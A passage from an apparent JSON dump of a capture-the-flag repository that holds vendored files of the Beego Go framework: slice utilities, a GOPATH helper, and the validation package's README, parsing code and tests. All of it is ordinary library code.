false)\n\t}\n}\n\nfunc TestGet(t *testing.T) {\n\tif val := safeMap.Get(\"astaxie\"); val.(int) != 1 {\n\t\tt.Error(\"expected value\", 1, \"got\", val)\n\t}\n}\n\nfunc TestDelete(t *testing.T) {\n\tsafeMap.Delete(\"astaxie\")\n\tif exists := safeMap.Check(\"astaxie\"); exists {\n\t\tt.Error(\"expected element to be deleted\")\n\t}\n}\n\nfunc TestItems(t *testing.T) {\n\tsafeMap := NewBeeMap()\n\tsafeMap.Set(\"astaxie\", \"hello\")\n\tfor k, v := range safeMap.Items() {\n\t\tkey := k.(string)\n\t\tvalue := v.(string)\n\t\tif key != \"astaxie\" {\n\t\t\tt.Error(\"expected the key should be astaxie\")\n\t\t}\n\t\tif value != \"hello\" {\n\t\t\tt.Error(\"expected the value should be hello\")\n\t\t}\n\t}\n}\n\nfunc TestCount(t *testing.T) {\n\tif count := safeMap.Count(); count != 0 {\n\t\tt.Error(\"expected count to be\", 0, \"got\", count)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/slice.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"math/rand\"\n\t\"time\"\n)\n\ntype reducetype func(interface{}) interface{}\ntype filtertype func(interface{}) bool\n\n// InSlice checks given string in string slice or not.\nfunc InSlice(v string, sl []string) bool {\n\tfor _, vv := range sl {\n\t\tif vv == v {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// InSliceIface checks given interface in interface slice.\nfunc InSliceIface(v interface{}, sl []interface{}) bool {\n\tfor _, vv := range sl {\n\t\tif vv == v {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// SliceRandList generate an int slice from min to max.\nfunc SliceRandList(min, max int) []int {\n\tif max < min {\n\t\tmin, max = max, min\n\t}\n\tlength := max - min + 1\n\tt0 := time.Now()\n\trand.Seed(int64(t0.Nanosecond()))\n\tlist := rand.Perm(length)\n\tfor index := range list {\n\t\tlist[index] += min\n\t}\n\treturn list\n}\n\n// SliceMerge merges interface slices to one slice.\nfunc SliceMerge(slice1, slice2 []interface{}) (c []interface{}) {\n\tc = append(slice1, slice2...)\n\treturn\n}\n\n// SliceReduce generates a new slice after parsing every value by reduce function\nfunc SliceReduce(slice []interface{}, a reducetype) (dslice []interface{}) {\n\tfor _, v := range slice {\n\t\tdslice = append(dslice, a(v))\n\t}\n\treturn\n}\n\n// SliceRand returns random one from slice.\nfunc SliceRand(a []interface{}) (b interface{}) {\n\trandnum := rand.Intn(len(a))\n\tb = a[randnum]\n\treturn\n}\n\n// SliceSum sums all values in int64 slice.\nfunc SliceSum(intslice []int64) (sum int64) {\n\tfor _, v := range intslice {\n\t\tsum += v\n\t}\n\treturn\n}\n\n// SliceFilter generates a new slice after filter function.\nfunc SliceFilter(slice []interface{}, a filtertype) (ftslice []interface{}) {\n\tfor _, v := range slice {\n\t\tif a(v) {\n\t\t\tftslice = append(ftslice, v)\n\t\t}\n\t}\n\treturn\n}\n\n// SliceDiff returns diff slice of slice1 - slice2.\nfunc SliceDiff(slice1, slice2 []interface{}) (diffslice []interface{}) {\n\tfor _, v := range slice1 {\n\t\tif !InSliceIface(v, slice2) {\n\t\t\tdiffslice = append(diffslice, v)\n\t\t}\n\t}\n\treturn\n}\n\n// SliceIntersect returns slice that are present in all the slice1 and slice2.\nfunc SliceIntersect(slice1, slice2 []interface{}) (diffslice []interface{}) {\n\tfor _, v := range slice1 {\n\t\tif InSliceIface(v, slice2) {\n\t\t\tdiffslice = append(diffslice, v)\n\t\t}\n\t}\n\treturn\n}\n\n// SliceChunk separates one slice to some sized slice.\nfunc SliceChunk(slice []interface{}, size int) (chunkslice [][]interface{}) {\n\tif size >= len(slice) {\n\t\tchunkslice = append(chunkslice, slice)\n\t\treturn\n\t}\n\tend := size\n\tfor i := 0; i <= (len(slice) - size); i += size {\n\t\tchunkslice = append(chunkslice, slice[i:end])\n\t\tend += size\n\t}\n\treturn\n}\n\n// SliceRange generates a new slice from begin to end with step duration of int64 number.\nfunc SliceRange(start, end, step int64) (intslice []int64) {\n\tfor i := start; i <= end; i += step {\n\t\tintslice = append(intslice, i)\n\t}\n\treturn\n}\n\n// SlicePad prepends size number of val into slice.\nfunc SlicePad(slice []interface{}, size int, val interface{}) []interface{} {\n\tif size <= len(slice) {\n\t\treturn slice\n\t}\n\tfor i := 0; i < (size - len(slice)); i++ {\n\t\tslice = append(slice, val)\n\t}\n\treturn slice\n}\n\n// SliceUnique cleans repeated values in slice.\nfunc SliceUnique(slice []interface{}) (uniqueslice []interface{}) {\n\tfor _, v := range slice {\n\t\tif !InSliceIface(v, uniqueslice) {\n\t\t\tuniqueslice = append(uniqueslice, v)\n\t\t}\n\t}\n\treturn\n}\n\n// SliceShuffle shuffles a slice.\nfunc SliceShuffle(slice []interface{}) []interface{} {\n\tfor i := 0; i < len(slice); i++ {\n\t\ta := rand.Intn(len(slice))\n\t\tb := rand.Intn(len(slice))\n\t\tslice[a], slice[b] = slice[b], slice[a]\n\t}\n\treturn slice\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/slice_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"testing\"\n)\n\nfunc TestInSlice(t *testing.T) {\n\tsl := []string{\"A\", \"b\"}\n\tif !InSlice(\"A\", sl) {\n\t\tt.Error(\"should be true\")\n\t}\n\tif InSlice(\"B\", sl) {\n\t\tt.Error(\"should be false\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/testdata/grepe.test",
    "content": "# empty lines\n\n\n\nhello\n# comment\nworld\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/utils.go",
    "content": "package utils\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n)\n\n// GetGOPATHs returns all paths in GOPATH variable.\nfunc GetGOPATHs() []string {\n\tgopath := os.Getenv(\"GOPATH\")\n\tif gopath == \"\" && strings.Compare(runtime.Version(), \"go1.8\") >= 0 {\n\t\tgopath = defaultGOPATH()\n\t}\n\treturn filepath.SplitList(gopath)\n}\n\nfunc defaultGOPATH() string {\n\tenv := \"HOME\"\n\tif runtime.GOOS == \"windows\" {\n\t\tenv = \"USERPROFILE\"\n\t} else if runtime.GOOS == \"plan9\" {\n\t\tenv = \"home\"\n\t}\n\tif home := os.Getenv(env); home != \"\" {\n\t\treturn filepath.Join(home, \"go\")\n\t}\n\treturn \"\"\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/README.md",
    "content": "validation\n==============\n\nvalidation is a form validation for a data validation and error collecting using Go.\n\n## Installation and tests\n\nInstall:\n\n\tgo get github.com/astaxie/beego/validation\n\nTest:\n\n\tgo test github.com/astaxie/beego/validation\n\n## Example\n\nDirect Use:\n\n\timport (\n\t\t\"github.com/astaxie/beego/validation\"\n\t\t\"log\"\n\t)\n\n\ttype User struct {\n\t\tName string\n\t\tAge int\n\t}\n\n\tfunc main() {\n\t\tu := User{\"man\", 40}\n\t\tvalid := validation.Validation{}\n\t\tvalid.Required(u.Name, \"name\")\n\t\tvalid.MaxSize(u.Name, 15, \"nameMax\")\n\t\tvalid.Range(u.Age, 0, 140, \"age\")\n\t\tif valid.HasErrors() {\n\t\t\t// validation does not pass\n\t\t\t// print invalid message\n\t\t\tfor _, err := range valid.Errors {\n\t\t\t\tlog.Println(err.Key, err.Message)\n\t\t\t}\n\t\t}\n\t\t// or use like this\n\t\tif v := valid.Max(u.Age, 140, \"ageMax\"); !v.Ok {\n\t\t\tlog.Println(v.Error.Key, v.Error.Message)\n\t\t}\n\t}\n\nStruct Tag Use:\n\n\timport (\n\t\t\"github.com/astaxie/beego/validation\"\n\t)\n\n\t// validation function follow with \"valid\" tag\n\t// functions divide with \";\"\n\t// parameters in parentheses \"()\" and divide with \",\"\n\t// Match function's pattern string must in \"//\"\n\ttype user struct {\n\t\tId   int\n\t\tName string `valid:\"Required;Match(/^(test)?\\\\w*@;com$/)\"`\n\t\tAge  int    `valid:\"Required;Range(1, 140)\"`\n\t}\n\n\tfunc main() {\n\t\tvalid := validation.Validation{}\n\t\t// ignore empty field valid\n\t\t// see CanSkipFuncs\n\t\t// valid := validation.Validation{RequiredFirst:true}\n\t\tu := user{Name: \"test\", Age: 40}\n\t\tb, err := valid.Valid(u)\n\t\tif err != nil {\n\t\t\t// handle error\n\t\t}\n\t\tif !b {\n\t\t\t// validation does not pass\n\t\t\t// blabla...\n\t\t}\n\t}\n\nUse custom function:\n\n\timport (\n\t\t\"github.com/astaxie/beego/validation\"\n\t)\n\n\ttype user struct {\n\t\tId   int\n\t\tName string `valid:\"Required;IsMe\"`\n\t\tAge  int    `valid:\"Required;Range(1, 140)\"`\n\t}\n\n\tfunc IsMe(v *validation.Validation, obj interface{}, key string) {\n\t\tname, ok:= obj.(string)\n\t\tif !ok {\n\t\t\t// wrong use case?\n\t\t\treturn\n\t\t}\n\n\t\tif name != \"me\" {\n\t\t\t// valid false\n\t\t\tv.SetError(\"Name\", \"is not me!\")\n\t\t}\n\t}\n\n\tfunc main() {\n\t\tvalid := validation.Validation{}\n\t\tif err := validation.AddCustomFunc(\"IsMe\", IsMe); err != nil {\n\t\t\t// hadle error\n\t\t}\n\t\tu := user{Name: \"test\", Age: 40}\n\t\tb, err := valid.Valid(u)\n\t\tif err != nil {\n\t\t\t// handle error\n\t\t}\n\t\tif !b {\n\t\t\t// validation does not pass\n\t\t\t// blabla...\n\t\t}\n\t}\n\nStruct Tag Functions:\n\n\tRequired\n\tMin(min int)\n\tMax(max int)\n\tRange(min, max int)\n\tMinSize(min int)\n\tMaxSize(max int)\n\tLength(length int)\n\tAlpha\n\tNumeric\n\tAlphaNumeric\n\tMatch(pattern string)\n\tAlphaDash\n\tEmail\n\tIP\n\tBase64\n\tMobile\n\tTel\n\tPhone\n\tZipCode\n\n\n## LICENSE\n\nBSD License http://creativecommons.org/licenses/BSD/\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/util.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage validation\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nconst (\n\t// ValidTag struct tag\n\tValidTag = \"valid\"\n\n\twordsize = 32 << (^uint(0) >> 32 & 1)\n)\n\nvar (\n\t// key: function name\n\t// value: the number of parameters\n\tfuncs = make(Funcs)\n\n\t// doesn't belong to validation functions\n\tunFuncs = map[string]bool{\n\t\t\"Clear\":     true,\n\t\t\"HasErrors\": true,\n\t\t\"ErrorMap\":  true,\n\t\t\"Error\":     true,\n\t\t\"apply\":     true,\n\t\t\"Check\":     true,\n\t\t\"Valid\":     true,\n\t\t\"NoMatch\":   true,\n\t}\n\t// ErrInt64On32 show 32 bit platform not support int64\n\tErrInt64On32 = fmt.Errorf(\"not support int64 on 32-bit platform\")\n)\n\nfunc init() {\n\tv := &Validation{}\n\tt := reflect.TypeOf(v)\n\tfor i := 0; i < t.NumMethod(); i++ {\n\t\tm := t.Method(i)\n\t\tif !unFuncs[m.Name] {\n\t\t\tfuncs[m.Name] = m.Func\n\t\t}\n\t}\n}\n\n// CustomFunc is for custom validate function\ntype CustomFunc func(v *Validation, obj interface{}, key string)\n\n// AddCustomFunc Add a custom function to validation\n// The name can not be:\n//   Clear\n//   HasErrors\n//   ErrorMap\n//   Error\n//   Check\n//   Valid\n//   NoMatch\n// If the name is same with exists function, it will replace the origin valid function\nfunc AddCustomFunc(name string, f CustomFunc) error {\n\tif unFuncs[name] {\n\t\treturn fmt.Errorf(\"invalid function name: %s\", name)\n\t}\n\n\tfuncs[name] = reflect.ValueOf(f)\n\treturn nil\n}\n\n// ValidFunc Valid function type\ntype ValidFunc struct {\n\tName   string\n\tParams []interface{}\n}\n\n// Funcs Validate function map\ntype Funcs map[string]reflect.Value\n\n// Call validate values with named type string\nfunc (f Funcs) Call(name string, params ...interface{}) (result []reflect.Value, err error) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\terr = fmt.Errorf(\"%v\", r)\n\t\t}\n\t}()\n\tif _, ok := f[name]; !ok {\n\t\terr = fmt.Errorf(\"%s does not exist\", name)\n\t\treturn\n\t}\n\tif len(params) != f[name].Type().NumIn() {\n\t\terr = fmt.Errorf(\"The number of params is not adapted\")\n\t\treturn\n\t}\n\tin := make([]reflect.Value, len(params))\n\tfor k, param := range params {\n\t\tin[k] = reflect.ValueOf(param)\n\t}\n\tresult = f[name].Call(in)\n\treturn\n}\n\nfunc isStruct(t reflect.Type) bool {\n\treturn t.Kind() == reflect.Struct\n}\n\nfunc isStructPtr(t reflect.Type) bool {\n\treturn t.Kind() == reflect.Ptr && t.Elem().Kind() == reflect.Struct\n}\n\nfunc getValidFuncs(f reflect.StructField) (vfs []ValidFunc, err error) {\n\ttag := f.Tag.Get(ValidTag)\n\tif len(tag) == 0 {\n\t\treturn\n\t}\n\tif vfs, tag, err = getRegFuncs(tag, f.Name); err != nil {\n\t\treturn\n\t}\n\tfs := strings.Split(tag, \";\")\n\tfor _, vfunc := range fs {\n\t\tvar vf ValidFunc\n\t\tif len(vfunc) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tvf, err = parseFunc(vfunc, f.Name)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tvfs = append(vfs, vf)\n\t}\n\treturn\n}\n\n// Get Match function\n// May be get NoMatch function in the future\nfunc getRegFuncs(tag, key string) (vfs []ValidFunc, str string, err error) {\n\ttag = strings.TrimSpace(tag)\n\tindex := strings.Index(tag, \"Match(/\")\n\tif index == -1 {\n\t\tstr = tag\n\t\treturn\n\t}\n\tend := strings.LastIndex(tag, \"/)\")\n\tif end < index {\n\t\terr = fmt.Errorf(\"invalid Match function\")\n\t\treturn\n\t}\n\treg, err := regexp.Compile(tag[index+len(\"Match(/\") : end])\n\tif err != nil {\n\t\treturn\n\t}\n\tvfs = []ValidFunc{{\"Match\", []interface{}{reg, key + \".Match\"}}}\n\tstr = strings.TrimSpace(tag[:index]) + strings.TrimSpace(tag[end+len(\"/)\"):])\n\treturn\n}\n\nfunc parseFunc(vfunc, key string) (v ValidFunc, err error) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\terr = fmt.Errorf(\"%v\", r)\n\t\t}\n\t}()\n\n\tvfunc = strings.TrimSpace(vfunc)\n\tstart := strings.Index(vfunc, \"(\")\n\tvar num int\n\n\t// doesn't need parameter valid function\n\tif start == -1 {\n\t\tif num, err = numIn(vfunc); err != nil {\n\t\t\treturn\n\t\t}\n\t\tif num != 0 {\n\t\t\terr = fmt.Errorf(\"%s require %d parameters\", vfunc, num)\n\t\t\treturn\n\t\t}\n\t\tv = ValidFunc{vfunc, []interface{}{key + \".\" + vfunc}}\n\t\treturn\n\t}\n\n\tend := strings.Index(vfunc, \")\")\n\tif end == -1 {\n\t\terr = fmt.Errorf(\"invalid valid function\")\n\t\treturn\n\t}\n\n\tname := strings.TrimSpace(vfunc[:start])\n\tif num, err = numIn(name); err != nil {\n\t\treturn\n\t}\n\n\tparams := strings.Split(vfunc[start+1:end], \",\")\n\t// the num of param must be equal\n\tif num != len(params) {\n\t\terr = fmt.Errorf(\"%s require %d parameters\", name, num)\n\t\treturn\n\t}\n\n\ttParams, err := trim(name, key+\".\"+name, params)\n\tif err != nil {\n\t\treturn\n\t}\n\tv = ValidFunc{name, tParams}\n\treturn\n}\n\nfunc numIn(name string) (num int, err error) {\n\tfn, ok := funcs[name]\n\tif !ok {\n\t\terr = fmt.Errorf(\"doesn't exsits %s valid function\", name)\n\t\treturn\n\t}\n\t// sub *Validation obj and key\n\tnum = fn.Type().NumIn() - 3\n\treturn\n}\n\nfunc trim(name, key string, s []string) (ts []interface{}, err error) {\n\tts = make([]interface{}, len(s), len(s)+1)\n\tfn, ok := funcs[name]\n\tif !ok {\n\t\terr = fmt.Errorf(\"doesn't exsits %s valid function\", name)\n\t\treturn\n\t}\n\tfor i := 0; i < len(s); i++ {\n\t\tvar param interface{}\n\t\t// skip *Validation and obj params\n\t\tif param, err = parseParam(fn.Type().In(i+2), strings.TrimSpace(s[i])); err != nil {\n\t\t\treturn\n\t\t}\n\t\tts[i] = param\n\t}\n\tts = append(ts, key)\n\treturn\n}\n\n// modify the parameters's type to adapt the function input parameters' type\nfunc parseParam(t reflect.Type, s string) (i interface{}, err error) {\n\tswitch t.Kind() {\n\tcase reflect.Int:\n\t\ti, err = strconv.Atoi(s)\n\tcase reflect.Int64:\n\t\tif wordsize == 32 {\n\t\t\treturn nil, ErrInt64On32\n\t\t}\n\t\ti, err = strconv.ParseInt(s, 10, 64)\n\tcase reflect.Int32:\n\t\tvar v int64\n\t\tv, err = strconv.ParseInt(s, 10, 32)\n\t\tif err == nil {\n\t\t\ti = int32(v)\n\t\t}\n\tcase reflect.Int16:\n\t\tvar v int64\n\t\tv, err = strconv.ParseInt(s, 10, 16)\n\t\tif err == nil {\n\t\t\ti = int16(v)\n\t\t}\n\tcase reflect.Int8:\n\t\tvar v int64\n\t\tv, err = strconv.ParseInt(s, 10, 8)\n\t\tif err == nil {\n\t\t\ti = int8(v)\n\t\t}\n\tcase reflect.String:\n\t\ti = s\n\tcase reflect.Ptr:\n\t\tif t.Elem().String() != \"regexp.Regexp\" {\n\t\t\terr = fmt.Errorf(\"not support %s\", t.Elem().String())\n\t\t\treturn\n\t\t}\n\t\ti, err = regexp.Compile(s)\n\tdefault:\n\t\terr = fmt.Errorf(\"not support %s\", t.Kind().String())\n\t}\n\treturn\n}\n\nfunc mergeParam(v *Validation, obj interface{}, params []interface{}) []interface{} {\n\treturn append([]interface{}{v, obj}, params...)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/util_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage validation\n\nimport (\n\t\"reflect\"\n\t\"testing\"\n)\n\ntype user struct {\n\tID    int\n\tTag   string `valid:\"Maxx(aa)\"`\n\tName  string `valid:\"Required;\"`\n\tAge   int    `valid:\"Required;Range(1, 140)\"`\n\tmatch string `valid:\"Required; Match(/^(test)?\\\\w*@(/test/);com$/);Max(2)\"`\n}\n\nfunc TestGetValidFuncs(t *testing.T) {\n\tu := user{Name: \"test\", Age: 1}\n\ttf := reflect.TypeOf(u)\n\tvar vfs []ValidFunc\n\tvar err error\n\n\tf, _ := tf.FieldByName(\"ID\")\n\tif vfs, err = getValidFuncs(f); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(vfs) != 0 {\n\t\tt.Fatal(\"should get none ValidFunc\")\n\t}\n\n\tf, _ = tf.FieldByName(\"Tag\")\n\tif _, err = getValidFuncs(f); err.Error() != \"doesn't exsits Maxx valid function\" {\n\t\tt.Fatal(err)\n\t}\n\n\tf, _ = tf.FieldByName(\"Name\")\n\tif vfs, err = getValidFuncs(f); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(vfs) != 1 {\n\t\tt.Fatal(\"should get 1 ValidFunc\")\n\t}\n\tif vfs[0].Name != \"Required\" && len(vfs[0].Params) != 0 {\n\t\tt.Error(\"Required funcs should be got\")\n\t}\n\n\tf, _ = tf.FieldByName(\"Age\")\n\tif vfs, err = getValidFuncs(f); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(vfs) != 2 {\n\t\tt.Fatal(\"should get 2 ValidFunc\")\n\t}\n\tif vfs[0].Name != \"Required\" && len(vfs[0].Params) != 0 {\n\t\tt.Error(\"Required funcs should be got\")\n\t}\n\tif vfs[1].Name != \"Range\" && len(vfs[1].Params) != 2 {\n\t\tt.Error(\"Range funcs should be got\")\n\t}\n\n\tf, _ = tf.FieldByName(\"match\")\n\tif vfs, err = getValidFuncs(f); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(vfs) != 3 {\n\t\tt.Fatal(\"should get 3 ValidFunc but now is\", len(vfs))\n\t}\n}\n\nfunc TestCall(t *testing.T) {\n\tu := user{Name: \"test\", Age: 180}\n\ttf := reflect.TypeOf(u)\n\tvar vfs []ValidFunc\n\tvar err error\n\tf, _ := tf.FieldByName(\"Age\")\n\tif vfs, err = getValidFuncs(f); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tvalid := &Validation{}\n\tvfs[1].Params = append([]interface{}{valid, u.Age}, vfs[1].Params...)\n\tif _, err = funcs.Call(vfs[1].Name, vfs[1].Params...); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(valid.Errors) != 1 {\n\t\tt.Error(\"age out of range should be has an error\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/validation.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package validation for validations\n//\n//\timport (\n//\t\t\"github.com/astaxie/beego/validation\"\n//\t\t\"log\"\n//\t)\n//\n//\ttype User struct {\n//\t\tName string\n//\t\tAge int\n//\t}\n//\n//\tfunc main() {\n//\t\tu := User{\"man\", 40}\n//\t\tvalid := validation.Validation{}\n//\t\tvalid.Required(u.Name, \"name\")\n//\t\tvalid.MaxSize(u.Name, 15, \"nameMax\")\n//\t\tvalid.Range(u.Age, 0, 140, \"age\")\n//\t\tif valid.HasErrors() {\n//\t\t\t// validation does not pass\n//\t\t\t// print invalid message\n//\t\t\tfor _, err := range valid.Errors {\n//\t\t\t\tlog.Println(err.Key, err.Message)\n//\t\t\t}\n//\t\t}\n//\t\t// or use like this\n//\t\tif v := valid.Max(u.Age, 140, \"ageMax\"); !v.Ok {\n//\t\t\tlog.Println(v.Error.Key, v.Error.Message)\n//\t\t}\n//\t}\n//\n// more info: http://beego.me/docs/mvc/controller/validation.md\npackage validation\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"strings\"\n)\n\n// ValidFormer valid interface\ntype ValidFormer interface {\n\tValid(*Validation)\n}\n\n// Error show the error\ntype Error struct {\n\tMessage, Key, Name, Field, Tmpl string\n\tValue                           interface{}\n\tLimitValue                      interface{}\n}\n\n// String Returns the Message.\nfunc (e *Error) String() string {\n\tif e == nil {\n\t\treturn \"\"\n\t}\n\treturn e.Message\n}\n\n// Implement Error interface.\n// Return e.String()\nfunc (e *Error) Error() string { return e.String() }\n\n// Result is returned from every validation method.\n// It provides an indication of success, and a pointer to the Error (if any).\ntype Result struct {\n\tError *Error\n\tOk    bool\n}\n\n// Key Get Result by given key string.\nfunc (r *Result) Key(key string) *Result {\n\tif r.Error != nil {\n\t\tr.Error.Key = key\n\t}\n\treturn r\n}\n\n// Message Set Result message by string or format string with args\nfunc (r *Result) Message(message string, args ...interface{}) *Result {\n\tif r.Error != nil {\n\t\tif len(args) == 0 {\n\t\t\tr.Error.Message = message\n\t\t} else {\n\t\t\tr.Error.Message = fmt.Sprintf(message, args...)\n\t\t}\n\t}\n\treturn r\n}\n\n// A Validation context manages data validation and error messages.\ntype Validation struct {\n\t// if this field set true, in struct tag valid\n\t// if the struct field vale is empty\n\t// it will skip those valid functions, see CanSkipFuncs\n\tRequiredFirst bool\n\n\tErrors    []*Error\n\tErrorsMap map[string][]*Error\n}\n\n// Clear Clean all ValidationError.\nfunc (v *Validation) Clear() {\n\tv.Errors = []*Error{}\n\tv.ErrorsMap = nil\n}\n\n// HasErrors Has ValidationError nor not.\nfunc (v *Validation) HasErrors() bool {\n\treturn len(v.Errors) > 0\n}\n\n// ErrorMap Return the errors mapped by key.\n// If there are multiple validation errors associated with a single key, the\n// first one \"wins\".  (Typically the first validation will be the more basic).\nfunc (v *Validation) ErrorMap() map[string][]*Error {\n\treturn v.ErrorsMap\n}\n\n// Error Add an error to the validation context.\nfunc (v *Validation) Error(message string, args ...interface{}) *Result {\n\tresult := (&Result{\n\t\tOk:    false,\n\t\tError: &Error{},\n\t}).Message(message, args...)\n\tv.Errors = append(v.Errors, result.Error)\n\treturn result\n}\n\n// Required Test that the argument is non-nil and non-empty (if string or list)\nfunc (v *Validation) Required(obj interface{}, key string) *Result {\n\treturn v.apply(Required{key}, obj)\n}\n\n// Min Test that the obj is greater than min if obj's type is int\nfunc (v *Validation) Min(obj interface{}, min int, key string) *Result {\n\treturn v.apply(Min{min, key}, obj)\n}\n\n// Max Test that the obj is less than max if obj's type is int\nfunc (v *Validation) Max(obj interface{}, max int, key string) *Result {\n\treturn v.apply(Max{max, key}, obj)\n}\n\n// Range Test that the obj is between mni and max if obj's type is int\nfunc (v *Validation) Range(obj interface{}, min, max int, key string) *Result {\n\treturn v.apply(Range{Min{Min: min}, Max{Max: max}, key}, obj)\n}\n\n// MinSize Test that the obj is longer than min size if type is string or slice\nfunc (v *Validation) MinSize(obj interface{}, min int, key string) *Result {\n\treturn v.apply(MinSize{min, key}, obj)\n}\n\n// MaxSize Test that the obj is shorter than max size if type is string or slice\nfunc (v *Validation) MaxSize(obj interface{}, max int, key string) *Result {\n\treturn v.apply(MaxSize{max, key}, obj)\n}\n\n// Length Test that the obj is same length to n if type is string or slice\nfunc (v *Validation) Length(obj interface{}, n int, key string) *Result {\n\treturn v.apply(Length{n, key}, obj)\n}\n\n// Alpha Test that the obj is [a-zA-Z] if type is string\nfunc (v *Validation) Alpha(obj interface{}, key string) *Result {\n\treturn v.apply(Alpha{key}, obj)\n}\n\n// Numeric Test that the obj is [0-9] if type is string\nfunc (v *Validation) Numeric(obj interface{}, key string) *Result {\n\treturn v.apply(Numeric{key}, obj)\n}\n\n// AlphaNumeric Test that the obj is [0-9a-zA-Z] if type is string\nfunc (v *Validation) AlphaNumeric(obj interface{}, key string) *Result {\n\treturn v.apply(AlphaNumeric{key}, obj)\n}\n\n// Match Test that the obj matches regexp if type is string\nfunc (v *Validation) Match(obj interface{}, regex *regexp.Regexp, key string) *Result {\n\treturn v.apply(Match{regex, key}, obj)\n}\n\n// NoMatch Test that the obj doesn't match regexp if type is string\nfunc (v *Validation) NoMatch(obj interface{}, regex *regexp.Regexp, key string) *Result {\n\treturn v.apply(NoMatch{Match{Regexp: regex}, key}, obj)\n}\n\n// AlphaDash Test that the obj is [0-9a-zA-Z_-] if type is string\nfunc (v *Validation) AlphaDash(obj interface{}, key string) *Result {\n\treturn v.apply(AlphaDash{NoMatch{Match: Match{Regexp: alphaDashPattern}}, key}, obj)\n}\n\n// Email Test that the obj is email address if type is string\nfunc (v *Validation) Email(obj interface{}, key string) *Result {\n\treturn v.apply(Email{Match{Regexp: emailPattern}, key}, obj)\n}\n\n// IP Test that the obj is IP address if type is string\nfunc (v *Validation) IP(obj interface{}, key string) *Result {\n\treturn v.apply(IP{Match{Regexp: ipPattern}, key}, obj)\n}\n\n// Base64 Test that the obj is base64 encoded if type is string\nfunc (v *Validation) Base64(obj interface{}, key string) *Result {\n\treturn v.apply(Base64{Match{Regexp: base64Pattern}, key}, obj)\n}\n\n// Mobile Test that the obj is chinese mobile number if type is string\nfunc (v *Validation) Mobile(obj interface{}, key string) *Result {\n\treturn v.apply(Mobile{Match{Regexp: mobilePattern}, key}, obj)\n}\n\n// Tel Test that the obj is chinese telephone number if type is string\nfunc (v *Validation) Tel(obj interface{}, key string) *Result {\n\treturn v.apply(Tel{Match{Regexp: telPattern}, key}, obj)\n}\n\n// Phone Test that the obj is chinese mobile or telephone number if type is string\nfunc (v *Validation) 